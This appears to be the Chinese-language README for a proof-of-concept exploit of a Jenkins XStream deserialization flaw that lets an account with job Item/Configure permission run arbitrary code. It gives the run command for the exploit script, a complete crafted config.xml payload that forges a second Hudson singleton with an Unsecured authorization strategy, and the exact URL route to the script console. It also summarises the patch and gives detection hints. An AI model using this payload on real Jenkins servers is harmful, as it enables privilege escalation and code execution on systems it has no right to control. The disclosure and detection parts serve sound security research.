针对 2026-09-02 修复的 Jenkins 反序列化漏洞的 PoC(公告)。持有任意单个作业 Item/Configure 权限的低权限账户,可将其转化为以 Jenkins 操作系统用户身份执行的任意代码。
| 受影响版本 | weekly ≤ 2.579,LTS ≤ 2.568.2 |
| 修复版本 | weekly 2.580,LTS 2.568.3 |
| 前置条件 | 已认证,对 ≥ 1 个作业拥有 Item/Configure 权限 |
| 影响 | 以 Jenkins 服务账户身份执行 RCE |
| CVSS | 8.8(高危) |
仅限对易受攻击的测试实例进行授权安全研究。
pip install requests
python3 exp.py --url http://<target>:<port> --user <user> --password <pass> [--job <name>] --cmd id
该脚本会验证账户没有脚本权限(预期返回 403),提交构造的 config.xml,然后通过注入的对象图路由到 ACL 由攻击者控制的脚本控制台。
Jenkins XStream 栈(hudson.util.XStream2 / RobustReflectionConverter)的两个长期存在的行为相互结合:
PersistenceRoot 子类型的字段都会像普通对象一样被反序列化。由于 XStream 通过 Unsafe.allocateInstance 实例化(不调用构造函数),攻击者可以伪造一个具有任意字段值(包括 authorizationStrategy)的第二个 hudson.model.Hudson 单例。FingerprintAction.build、Run.project、AbstractItem.parent)是瞬态的,因此注入的对象可通过 HTTP 访问——即公告中“随后通过 Stapler 处理 HTTP 请求”的表述。POST /job/<job>/config.xml(仅需 Item/Configure 权限)将以下内容注入作业的 <actions>:
<actions>
<hudson.tasks.Fingerprinter_-FingerprintAction>
<build class="hudson.model.FreeStyleBuild"> <!-- PersistenceRoot 嵌套(缺陷 1);瞬态字段(缺陷 2) -->
<project class="hudson.model.FreeStyleProject"> <!-- Run.project: protected final transient -->
<parent class="hudson.model.Hudson"> <!-- AbstractItem.parent: transient;伪造的第二个 Jenkins -->
<authorizationStrategy class="hudson.security.AuthorizationStrategy$Unsecured"/>
</parent>
<name>...</name>
<properties/> <!-- 避免 Job.getOverrides() 中的 NPE -->
</project>
</build>
<record/>
</hudson.tasks.Fingerprinter_-FingerprintAction>
</actions>
随后 Stapler 将请求路由到伪造的对象图中:
授权绕过:doScriptText 会针对接收请求的实例检查 ADMINISTER,即伪造 Hudson 的 getACL(),而该 ACL 源自其自身的 authorizationStrategy 字段——AuthorizationStrategy$Unsecured 授予所有权限。真实控制器的授权策略从未参与其中。由于反序列化期间不运行构造函数,字段初始化器不会生效;payload 必须显式设置 authorizationStrategy(和 properties)。
对比 jenkins-2.579 → jenkins-2.580:
RobustReflectionConverter.doUnmarshal 现在拒绝将 PersistenceRoot 子类型反序列化为嵌套字段(CriticalXStreamException:“PersistenceRoot 对象是文档根节点,不得作为嵌套字段值出现”),仅允许三种安全形态:XStream reference= 反向引用、非持久化的 resolves-to 替换器(Run$Replacer、User$Replacer 等)以及单值转换器的标量引用。@XStreamNotDeserializable / @XStreamDeserializable 注解以及 TRANSIENT_FIELD_STRICT_MODE,按字段收紧瞬态字段的反序列化。Jenkins.readResolve() 现在拒绝反序列化第二个 Jenkins 单例,并增加了 writeReplace() 替换器。test/src/test/java/jenkins/security/Security3972Test.java、。Fingerprinter_-FingerprintAction / hudson.model.Hudson 的意外 POST /job/*/config.xml payload,或对 /job/*/fingerprints/run/parent/parent/scriptText 的请求。config.xml 文件是否被污染。| URL 段 | 解析为 | 代码路径 |
|---|
/job/<job>/fingerprints | 注入的 FingerprintAction | urlName == "fingerprints" + Actionable.getDynamic() |
/run | 伪造的 FreeStyleBuild | FingerprintAction.getRun() 读取瞬态 build |
/parent | 伪造的 FreeStyleProject | Run.getParent() 读取 final transient project |
/parent | 伪造的 hudson.model.Hudson | AbstractItem.getParent() 读取瞬态 parent |
/scriptText | 伪造实例的脚本控制台 | Jenkins.doScriptText() → _doScript(..., getACL()) |
Security3972QueueRestartTest.java